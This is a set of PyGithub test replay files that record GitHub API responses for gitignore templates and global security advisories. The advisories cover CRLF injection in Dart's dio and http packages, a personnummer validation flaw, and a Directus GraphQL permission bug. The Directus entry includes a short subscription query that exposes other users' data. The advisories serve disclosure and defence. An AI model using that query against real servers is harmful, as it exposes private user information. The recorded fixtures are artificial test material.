charset=utf-8')] {"source":"*.py[cod]\n\n# C extensions\n*.so\n\n# Packages\n*.egg\n*.egg-info\ndist\nbuild\neggs\nparts\nbin\nvar\nsdist\ndevelop-eggs\n.installed.cfg\nlib\nlib64\n\n# Installer logs\npip-log.txt\n\n# Unit test / coverage reports\n.coverage\n.tox\nnosetests.xml\n\n# Translations\n*.mo\n\n# Mr Developer\n.mr.developer.cfg\n.project\n.pydevproject\n","name":"Python"} https GET api.github.com None /gitignore/templates/C%2B%2B {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '165'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-remaining', '4989'), ('server', 'nginx'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d01fd87df4d9c3bc861c8ccf8f7aa9f0"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Fri, 21 Dec 2012 19:56:03 GMT'), ('content-type', 'application/json; charset=utf-8')] {"source":"# Compiled Object files\n*.slo\n*.lo\n*.o\n\n# Compiled Dynamic libraries\n*.so\n*.dylib\n\n# Compiled Static libraries\n*.lai\n*.la\n*.a\n","name":"C++"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Github.testGetGitignoreTemplates.txt0000644000175100001660000000252614756101563025313 0ustar00runnerdockerhttps GET api.github.com None /gitignore/templates {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '757'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('x-ratelimit-remaining', '4993'), ('server', 'nginx'), ('connection', 'keep-alive'), ('etag', '"cc8e8df5d003cd489fd90931fa7f751a"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Fri, 21 Dec 2012 19:54:21 GMT'), ('content-type', 'application/json; charset=utf-8')] ["Actionscript","Android","AppceleratorTitanium","Autotools","Bancha","C","C++","CFWheels","CMake","CSharp","CakePHP","Clojure","CodeIgniter","Compass","Concrete5","Coq","Delphi","Django","Drupal","Erlang","ExpressionEngine","Finale","ForceDotCom","FuelPHP","GWT","Go","Grails","Haskell","Java","Jboss","Jekyll","Joomla","Jython","Kohana","LaTeX","Leiningen","LemonStand","Lilypond","Lithium","Magento","Maven","Node","OCaml","Objective-C","Opa","OracleForms","Perl","PlayFramework","Python","Qooxdoo","Qt","R","Rails","RhodesRhomobile","Ruby","Scala","Sdcc","SeamGen","SketchUp","SugarCRM","Symfony","Symfony2","SymphonyCMS","Target3001","Tasm","Textpattern","TurboGears2","Unity","VB.Net","Waf","Wordpress","Yii","ZendFramework","gcov","nanoc","opencart"] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Github.testGetGlobalAdvisories.txt0000644000175100001660000003670014756101563024737 0ustar00runnerdockerhttps GET api.github.com None /advisories?ecosystem=pub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 28 Jul 2023 18:54:41 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"fba15b10069bf266cb749c09bebad4b04d4ef2c045da2a75019118a6bb4ee964"'), ('Last-Modified', 'Fri, 31 Mar 2023 05:06:53 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-08-25 20:47:49 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4999'), ('X-RateLimit-Reset', '1690574081'), ('X-RateLimit-Used', '1'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B1CE:21EC:825434:1075227:64C40EF1')] [{"ghsa_id":"GHSA-9324-jv53-9cc8","cve_id":"CVE-2021-31402","url":"https://api.github.com/advisories/GHSA-9324-jv53-9cc8","html_url":"https://github.com/advisories/GHSA-9324-jv53-9cc8","summary":"dio vulnerable to CRLF injection with HTTP method string","description":"### Impact\nThe dio package 4.0.0 for Dart allows CRLF injection if the attacker controls the HTTP method string, a different vulnerability than CVE-2020-35669.\n\n### Patches\nThe vulnerability has been resolved by https://github.com/cfug/dio/commit/927f79e93ba39f3c3a12c190624a55653d577984, and included since v5.0.0.\n\n### Workarounds\nCherry-pick the commit to your own fork can resolves the vulberability too.\n\n### References\n- https://nvd.nist.gov/vuln/detail/CVE-2021-31402\n- https://osv.dev/GHSA-jwpw-q68h-r678\n- https://github.com/cfug/dio/issues/1130\n- https://github.com/cfug/dio/issues/1752\n","type":"reviewed","severity":"high","repository_advisory_url":"https://api.github.com/repos/cfug/dio/security-advisories/GHSA-9324-jv53-9cc8","source_code_location":"https://github.com/cfug/dio","identifiers":[{"value":"GHSA-9324-jv53-9cc8","type":"GHSA"},{"value":"CVE-2021-31402","type":"CVE"}],"references":["https://github.com/cfug/dio/security/advisories/GHSA-9324-jv53-9cc8","https://nvd.nist.gov/vuln/detail/CVE-2021-31402","https://github.com/cfug/dio/issues/1752","https://github.com/flutterchina/dio/issues/1130","https://github.com/cfug/dio/commit/927f79e93ba39f3c3a12c190624a55653d577984","https://osv.dev/GHSA-jwpw-q68h-r678","https://github.com/advisories/GHSA-9324-jv53-9cc8"],"published_at":"2023-03-21T22:41:11Z","updated_at":"2023-03-22T01:39:28Z","github_reviewed_at":"2023-03-21T22:41:11Z","nvd_published_at":null,"withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pub","name":"dio"},"vulnerable_version_range":"< 5.0.0","first_patched_version":"5.0.0","vulnerable_functions":[]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5},"cwes":[{"cwe_id":"CWE-74","name":"Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')"},{"cwe_id":"CWE-88","name":"Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')"},{"cwe_id":"CWE-93","name":"Improper Neutralization of CRLF Sequences ('CRLF Injection')"}],"credits":[{"user":{"login":"licy183","id":45286352,"node_id":"MDQ6VXNlcjQ1Mjg2MzUy","avatar_url":"https://avatars.githubusercontent.com/u/45286352?v=4","gravatar_id":"","url":"https://api.github.com/users/licy183","html_url":"https://github.com/licy183","followers_url":"https://api.github.com/users/licy183/followers","following_url":"https://api.github.com/users/licy183/following{/other_user}","gists_url":"https://api.github.com/users/licy183/gists{/gist_id}","starred_url":"https://api.github.com/users/licy183/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/licy183/subscriptions","organizations_url":"https://api.github.com/users/licy183/orgs","repos_url":"https://api.github.com/users/licy183/repos","events_url":"https://api.github.com/users/licy183/events{/privacy}","received_events_url":"https://api.github.com/users/licy183/received_events","type":"User","site_admin":false},"type":"reporter"},{"user":{"login":"AlexV525","id":15884415,"node_id":"MDQ6VXNlcjE1ODg0NDE1","avatar_url":"https://avatars.githubusercontent.com/u/15884415?v=4","gravatar_id":"","url":"https://api.github.com/users/AlexV525","html_url":"https://github.com/AlexV525","followers_url":"https://api.github.com/users/AlexV525/followers","following_url":"https://api.github.com/users/AlexV525/following{/other_user}","gists_url":"https://api.github.com/users/AlexV525/gists{/gist_id}","starred_url":"https://api.github.com/users/AlexV525/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AlexV525/subscriptions","organizations_url":"https://api.github.com/users/AlexV525/orgs","repos_url":"https://api.github.com/users/AlexV525/repos","events_url":"https://api.github.com/users/AlexV525/events{/privacy}","received_events_url":"https://api.github.com/users/AlexV525/received_events","type":"User","site_admin":false},"type":"remediation_developer"},{"user":{"login":"set0x","id":15133015,"node_id":"MDQ6VXNlcjE1MTMzMDE1","avatar_url":"https://avatars.githubusercontent.com/u/15133015?v=4","gravatar_id":"","url":"https://api.github.com/users/set0x","html_url":"https://github.com/set0x","followers_url":"https://api.github.com/users/set0x/followers","following_url":"https://api.github.com/users/set0x/following{/other_user}","gists_url":"https://api.github.com/users/set0x/gists{/gist_id}","starred_url":"https://api.github.com/users/set0x/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/set0x/subscriptions","organizations_url":"https://api.github.com/users/set0x/orgs","repos_url":"https://api.github.com/users/set0x/repos","events_url":"https://api.github.com/users/set0x/events{/privacy}","received_events_url":"https://api.github.com/users/set0x/received_events","type":"User","site_admin":false},"type":"reporter"}]},{"ghsa_id":"GHSA-9f2c-xxfm-32mj","cve_id":null,"url":"https://api.github.com/advisories/GHSA-9f2c-xxfm-32mj","html_url":"https://github.com/advisories/GHSA-9f2c-xxfm-32mj","summary":"Duplicate of GHSA-4xh4-v2pq-jvhm","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of [GHSA-4xh4-v2pq-jvhm](https://github.com/advisories/GHSA-4xh4-v2pq-jvhm). This link is maintained to preserve external references.\n\n## Original Description\n\nThe personnummer implementation before 3.0.3 for Dart mishandles numbers in which the last four digits match the ^000[0-9]$ regular expression.","type":"reviewed","severity":"low","repository_advisory_url":null,"source_code_location":"","identifiers":[{"value":"GHSA-9f2c-xxfm-32mj","type":"GHSA"}],"references":["https://github.com/personnummer/dart/security/advisories/GHSA-4xh4-v2pq-jvhm","https://nvd.nist.gov/vuln/detail/CVE-2023-22963","https://github.com/advisories/GHSA-4xh4-v2pq-jvhm","https://github.com/advisories/GHSA-9f2c-xxfm-32mj"],"published_at":"2023-01-11T06:30:20Z","updated_at":"2023-01-27T05:03:48Z","github_reviewed_at":"2023-01-11T18:58:40Z","nvd_published_at":"2023-01-11T06:15:00Z","withdrawn_at":"2023-01-11T18:58:40Z","vulnerabilities":[{"package":{"ecosystem":"pub","name":"personnummer"},"vulnerable_version_range":"< 3.0.3","first_patched_version":"3.0.3","vulnerable_functions":[]}],"cvss":{"vector_string":null,"score":null},"cwes":[],"credits":[]},{"ghsa_id":"GHSA-4xh4-v2pq-jvhm","cve_id":"CVE-2023-22963","url":"https://api.github.com/advisories/GHSA-4xh4-v2pq-jvhm","html_url":"https://github.com/advisories/GHSA-4xh4-v2pq-jvhm","summary":"personnummer/dart vulnerable to Improper Input Validation","description":"This vulnerability was reported to the personnummer team in June 2020. The slow response was due to locked ownership of some of the affected packages, which caused delays to update packages prior to disclosure.\n\nThe vulnerability is determined to be low severity.\n\n### Impact\n\nThis vulnerability impacts users who rely on the for last digits of personnummer to be a _real_ personnummer. \n\n### Patches\n\nThe issue have been patched in all repositories. The following versions should be updated to as soon as possible:\n\n[C#](https://github.com/advisories/GHSA-qv8q-v995-72gr) 3.0.2 \nD 3.0.1 \n[Dart](https://github.com/advisories/GHSA-4xh4-v2pq-jvhm) 3.0.3 \nElixir 3.0.0 \n[Go](https://github.com/advisories/GHSA-hv53-vf5m-8q94) 3.0.1 \n[Java](https://github.com/advisories/GHSA-q3vw-4jx3-rrr2) 3.3.0 \n[JavaScript](https://github.com/advisories/GHSA-vpgc-7h78-gx8f) 3.1.0 \nKotlin 1.1.0 \nLua 3.0.1 \n[PHP](https://github.com/advisories/GHSA-2p6g-gjp8-ggg9) 3.0.2 \nPerl 3.0.0 \n[Python](https://github.com/advisories/GHSA-rxq3-5249-8hgg) 3.0.2 \n[Ruby](https://github.com/advisories/GHSA-vp9c-fpxx-744v) 3.0.1 \n[Rust](https://github.com/advisories/GHSA-28r9-pq4c-wp3c) 3.0.0 \nScala 3.0.1 \nSwift 1.0.1 \n\nIf you are using any of the earlier packages, please update to latest.\n\n### Workarounds\n\nThe issue arrieses from the regular expression allowing the first three digits in the last four digits of the personnummer to be\n000, which is invalid. To mitigate this without upgrading, a check on the last four digits can be made to make sure it's not\n000x.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Personnummer Meta](https://github.com/personnummer/meta/issues)\n* Email us at [Personnummer Email](mailto:security@personnummer.dev)","type":"reviewed","severity":"low","repository_advisory_url":"https://api.github.com/repos/personnummer/dart/security-advisories/GHSA-4xh4-v2pq-jvhm","source_code_location":"https://github.com/personnummer/dart","identifiers":[{"value":"GHSA-4xh4-v2pq-jvhm","type":"GHSA"},{"value":"CVE-2023-22963","type":"CVE"}],"references":["https://github.com/personnummer/dart/security/advisories/GHSA-4xh4-v2pq-jvhm","https://pub.dev/packages/personnummer","https://nvd.nist.gov/vuln/detail/CVE-2023-22963","https://github.com/advisories/GHSA-4xh4-v2pq-jvhm"],"published_at":"2022-09-19T22:47:29Z","updated_at":"2023-01-11T18:59:11Z","github_reviewed_at":"2022-09-19T22:47:29Z","nvd_published_at":null,"withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pub","name":"personnummer"},"vulnerable_version_range":"< 3.0.3","first_patched_version":"3.0.3","vulnerable_functions":[]}],"cvss":{"vector_string":null,"score":null},"cwes":[{"cwe_id":"CWE-20","name":"Improper Input Validation"}],"credits":[]},{"ghsa_id":"GHSA-jwpw-q68h-r678","cve_id":null,"url":"https://api.github.com/advisories/GHSA-jwpw-q68h-r678","html_url":"https://github.com/advisories/GHSA-jwpw-q68h-r678","summary":"Improper Neutralization of CRLF Sequences in dio","description":"The dio package prior to 5.0.0 for Dart allows CRLF injection if the attacker controls the HTTP method string, a different vulnerability than CVE-2020-35669.","type":"reviewed","severity":"high","repository_advisory_url":null,"source_code_location":"https://github.com/cfug/dio","identifiers":[{"value":"GHSA-jwpw-q68h-r678","type":"GHSA"}],"references":["https://nvd.nist.gov/vuln/detail/CVE-2021-31402","https://github.com/cfug/dio/issues/1130","https://github.com/cfug/dio/commit/927f79e93ba39f3c3a12c190624a55653d577984","https://osv.dev/GHSA-jwpw-q68h-r678","https://github.com/advisories/GHSA-jwpw-q68h-r678"],"published_at":"2022-05-24T17:47:44Z","updated_at":"2023-03-31T05:06:53Z","github_reviewed_at":"2022-09-15T03:27:03Z","nvd_published_at":"2021-04-15T19:15:00Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pub","name":"dio"},"vulnerable_version_range":"< 5.0.0","first_patched_version":"5.0.0","vulnerable_functions":[]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5},"cwes":[{"cwe_id":"CWE-74","name":"Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')"},{"cwe_id":"CWE-88","name":"Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')"},{"cwe_id":"CWE-93","name":"Improper Neutralization of CRLF Sequences ('CRLF Injection')"}],"credits":[{"user":{"login":"AlexV525","id":15884415,"node_id":"MDQ6VXNlcjE1ODg0NDE1","avatar_url":"https://avatars.githubusercontent.com/u/15884415?v=4","gravatar_id":"","url":"https://api.github.com/users/AlexV525","html_url":"https://github.com/AlexV525","followers_url":"https://api.github.com/users/AlexV525/followers","following_url":"https://api.github.com/users/AlexV525/following{/other_user}","gists_url":"https://api.github.com/users/AlexV525/gists{/gist_id}","starred_url":"https://api.github.com/users/AlexV525/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AlexV525/subscriptions","organizations_url":"https://api.github.com/users/AlexV525/orgs","repos_url":"https://api.github.com/users/AlexV525/repos","events_url":"https://api.github.com/users/AlexV525/events{/privacy}","received_events_url":"https://api.github.com/users/AlexV525/received_events","type":"User","site_admin":false},"type":"analyst"}]},{"ghsa_id":"GHSA-4rgh-jx4f-qfcq","cve_id":"CVE-2020-35669","url":"https://api.github.com/advisories/GHSA-4rgh-jx4f-qfcq","html_url":"https://github.com/advisories/GHSA-4rgh-jx4f-qfcq","summary":"http before 0.13.3 vulnerable to header injection","description":"An issue was discovered in the http package before 0.13.3 for Dart. If the attacker controls the HTTP method and the app is using Request directly, it's possible to achieve CRLF injection in an HTTP request via HTTP header injection. This issue has been addressed in commit abb2bb182 by validating request methods.","type":"reviewed","severity":"medium","repository_advisory_url":null,"source_code_location":"https://github.com/dart-lang/http","identifiers":[{"value":"GHSA-4rgh-jx4f-qfcq","type":"GHSA"},{"value":"CVE-2020-35669","type":"CVE"}],"references":["https://nvd.nist.gov/vuln/detail/CVE-2020-35669","https://github.com/dart-lang/http/issues/511","https://github.com/dart-lang/http/blob/master/CHANGELOG.md#0133","https://github.com/dart-lang/http/pull/512","https://github.com/dart-lang/http/commit/abb2bb182fbd7f03aafd1f889b902d7b3bdb8769","https://pub.dev/packages/http/changelog#0133","https://github.com/advisories/GHSA-4rgh-jx4f-qfcq"],"published_at":"2022-05-24T17:37:16Z","updated_at":"2023-01-27T05:03:00Z","github_reviewed_at":"2022-08-04T21:05:04Z","nvd_published_at":"2020-12-24T03:15:00Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pub","name":"http"},"vulnerable_version_range":"< 0.13.3","first_patched_version":"0.13.3","vulnerable_functions":[]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1},"cwes":[{"cwe_id":"CWE-74","name":"Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')"}],"credits":[]}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Github.testGetGlobalAdvisoriesByCVE.txt0000644000175100001660000001156314756101563025570 0ustar00runnerdockerhttps GET api.github.com None /advisories?cve_id=CVE-2023-38503 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 29 Jul 2023 02:25:17 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"6b48ee9bb449156fad1cafe6ee6806aef190819b67c61901b0c8d17760bf2653"'), ('Last-Modified', 'Wed, 26 Jul 2023 17:50:01 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-08-25 20:47:49 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4990'), ('X-RateLimit-Reset', '1690600508'), ('X-RateLimit-Used', '10'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ADE0:039E:16DBA0F:2E5C19D:64C4788D')] [{"ghsa_id":"GHSA-gggm-66rh-pp98","cve_id":"CVE-2023-38503","url":"https://api.github.com/advisories/GHSA-gggm-66rh-pp98","html_url":"https://github.com/advisories/GHSA-gggm-66rh-pp98","summary":"Incorrect Permission Checking for GraphQL Subscriptions","description":"### Summary\n\nCWE-200: Exposure of Sensitive Information to an Unauthorized Actor\nAccess to information you should not have access to when the permissions rely on `$CURRENT_USER` for filtering.\n\n### Details\n\nThe permission filters (i.e. `user_created IS $CURRENT_USER`) are not properly checked when using GraphQL subscription resulting in unauthorized users getting event on their subscription which they should not be receiving according to the permissions.\nThis can be any collection but out-of-the box the `directus_users` collection is configured with such a permissions filter allowing you to get updates for other users when changes happen.\n\nAn example:\n```graphql\nsubscription {\n directus_users_mutated {\n event\n data {\n id\n last_access\n last_page\n }\n }\n}\n```\n\n### Patches\nhttps://github.com/directus/directus/pull/19155\n\n### Workarounds\nDisable GraphQL Subscriptions\n\n### References\n\n","type":"reviewed","severity":"medium","repository_advisory_url":"https://api.github.com/repos/directus/directus/security-advisories/GHSA-gggm-66rh-pp98","source_code_location":"https://github.com/directus/directus","identifiers":[{"value":"GHSA-gggm-66rh-pp98","type":"GHSA"},{"value":"CVE-2023-38503","type":"CVE"}],"references":["https://github.com/directus/directus/security/advisories/GHSA-gggm-66rh-pp98","https://github.com/directus/directus/pull/19155","https://nvd.nist.gov/vuln/detail/CVE-2023-38503","https://github.com/advisories/GHSA-gggm-66rh-pp98"],"published_at":"2023-07-25T23:31:10Z","updated_at":"2023-07-26T17:50:01Z","github_reviewed_at":"2023-07-25T23:31:10Z","nvd_published_at":null,"withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"directus"},"vulnerable_version_range":">= 10.3, < 10.5.0","first_patched_version":"10.5.0","vulnerable_functions":[]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N","score":5.7},"cwes":[{"cwe_id":"CWE-200","name":"Exposure of Sensitive Information to an Unauthorized Actor"}],"credits":[{"user":{"login":"madc","id":343392,"node_id":"MDQ6VXNlcjM0MzM5Mg==","avatar_url":"https://avatars.githubusercontent.com/u/343392?v=4","gravatar_id":"","url":"https://api.github.com/users/madc","html_url":"https://github.com/madc","followers_url":"https://api.github.com/users/madc/followers","following_url":"https://api.github.com/users/madc/following{/other_user}","gists_url":"https://api.github.com/users/madc/gists{/gist_id}","starred_url":"https://api.github.com/users/madc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/madc/subscriptions","organizations_url":"https://api.github.com/users/madc/orgs","repos_url":"https://api.github.com/users/madc/repos","events_url":"https://api.github.com/users/madc/events{/privacy}","received_events_url":"https://api.github.com/users/madc/received_events","type":"User","site_admin":false},"type":"reporter"}]}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Github.testGetGlobalAdvisoriesByGHSA.txt0000644000175100001660000001535014756101563025673 0ustar00runnerdockerhttps GET api.github.com None /advisories?ghsa_id=GHSA-9324-jv53-9cc8 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 29 Jul 2023 02:25:17 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"50b5a7d3d24f29f08f0def324f1697b39b5bc1594b7a2f56a7fec80f33ca7bbf"'), ('Last-Modified', 'Wed, 22 Mar 2023 01:39:28 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-08-25 20:47:49 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4989'), ('X-RateLimit-Reset', '1690600508'), ('X-RateLimit-Used', '11'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ADEA:51D4:17628CB:2F5A005:64C4788D')] [{"ghsa_id":"GHSA-9324-jv53-9cc8","cve_id":"CVE-2021-31402","url":"https://api.github.com/advisories/GHSA-9324-jv53-9cc8","html_url":"https://github.com/advisories/GHSA-9324-jv53-9cc8","summary":"dio vulnerable to CRLF injection with HTTP method string","description":"### Impact\nThe dio package 4.0.0 for Dart allows CRLF injection if the attacker controls the HTTP method string, a different vulnerability than CVE-2020-35669.\n\n### Patches\nThe vulnerability has been resolved by https://github.com/cfug/dio/commit/927f79e93ba39f3c3a12c190624a55653d577984, and included since v5.0.0.\n\n### Workarounds\nCherry-pick the commit to your own fork can resolves the vulberability too.\n\n### References\n- https://nvd.nist.gov/vuln/detail/CVE-2021-31402\n- https://osv.dev/GHSA-jwpw-q68h-r678\n- https://github.com/cfug/dio/issues/1130\n- https://github.com/cfug/dio/issues/1752\n","type":"reviewed","severity":"high","repository_advisory_url":"https://api.github.com/repos/cfug/dio/security-advisories/GHSA-9324-jv53-9cc8","source_code_location":"https://github.com/cfug/dio","identifiers":[{"value":"GHSA-9324-jv53-9cc8","type":"GHSA"},{"value":"CVE-2021-31402","type":"CVE"}],"references":["https://github.com/cfug/dio/security/advisories/GHSA-9324-jv53-9cc8","https://nvd.nist.gov/vuln/detail/CVE-2021-31402","https://github.com/cfug/dio/issues/1752","https://github.com/flutterchina/dio/issues/1130","https://github.com/cfug/dio/commit/927f79e93ba39f3c3a12c190624a55653d577984","https://osv.dev/GHSA-jwpw-q68h-r678","https://github.com/advisories/GHSA-9324-jv53-9cc8"],"published_at":"2023-03-21T22:41:11Z","updated_at":"2023-03-22T01:39:28Z","github_reviewed_at":"2023-03-21T22:41:11Z","nvd_published_at":null,"withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pub","name":"dio"},"vulnerable_version_range":"< 5.0.0","first_patched_version":"5.0.0","vulnerable_functions":[]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5},"cwes":[{"cwe_id":"CWE-74","name":"Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')"},{"cwe_id":"CWE-88","name":"Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')"},{"cwe_id":"CWE-93","name":"Improper Neutralization of CRLF Sequences ('CRLF Injection')"}],"credits":[{"user":{"login":"licy183","id":45286352,"node_id":"MDQ6VXNlcjQ1Mjg2MzUy","avatar_url":"https://avatars.githubusercontent.com/u/45286352?v=4","gravatar_id":"","url":"https://api.github.com/users/licy183","html_url":"https://github.com/licy183","followers_url":"https://api.github.com/users/licy183/followers","following_url":"https://api.github.com/users/licy183/following{/other_user}","gists_url":"https://api.github.com/users/licy183/gists{/gist_id}","starred_url":"https://api.github.com/users/licy183/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/licy183/subscriptions","organizations_url":"https://api.github.com/users/licy183/orgs","repos_url":"https://api.github.com/users/licy183/repos","events_url":"https://api.github.com/users/licy183/events{/privacy}","received_events_url":"https://api.github.com/users/licy183/received_events","type":"User","site_admin":false},"type":"reporter"},{"user":{"login":"AlexV525","id":15884415,"node_id":"MDQ6VXNlcjE1ODg0NDE1","avatar_url":"https://avatars.githubusercontent.com/u/15884415?v=4","gravatar_id":"","url":"https://api.github.com/users/AlexV525","html_url":"https://github.com/AlexV525","followers_url":"https://api.github.com/users/AlexV525/followers","following_url":"https://api.github.com/users/AlexV525/following{/other_user}","gists_url":"https://api.github.com/users/AlexV525/gists{/gist_id}","starred_url":"https://api.github.com/users/AlexV525/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AlexV525/subscriptions","organizations_url":"https://api.github.com/users/AlexV525/orgs","repos_url":"https://api.github.com/users/AlexV525/repos","events_url":"https://api.github.com/users/AlexV525/events{/privacy}","received_events_url":"https://api.github.com/users/AlexV525/received_events","type":"User","site_admin":false},"type":"remediation_developer"},{"user":{"login":"set0x","id":15133015,"node_id":"MDQ6VXNlcjE1MTMzMDE1","avatar_url":"https://avatars.githubusercontent.com/u/15133015?v=4","gravatar_id":"","url":"https://api.github.com/users/set0x","html_url":"https://github.com/set0x","followers_url":"https://api.github.com/users/set0x/followers","following_url":"https://api.github.com/users/set0x/following{/other_user}","gists_url":"https://api.github.com/users/set0x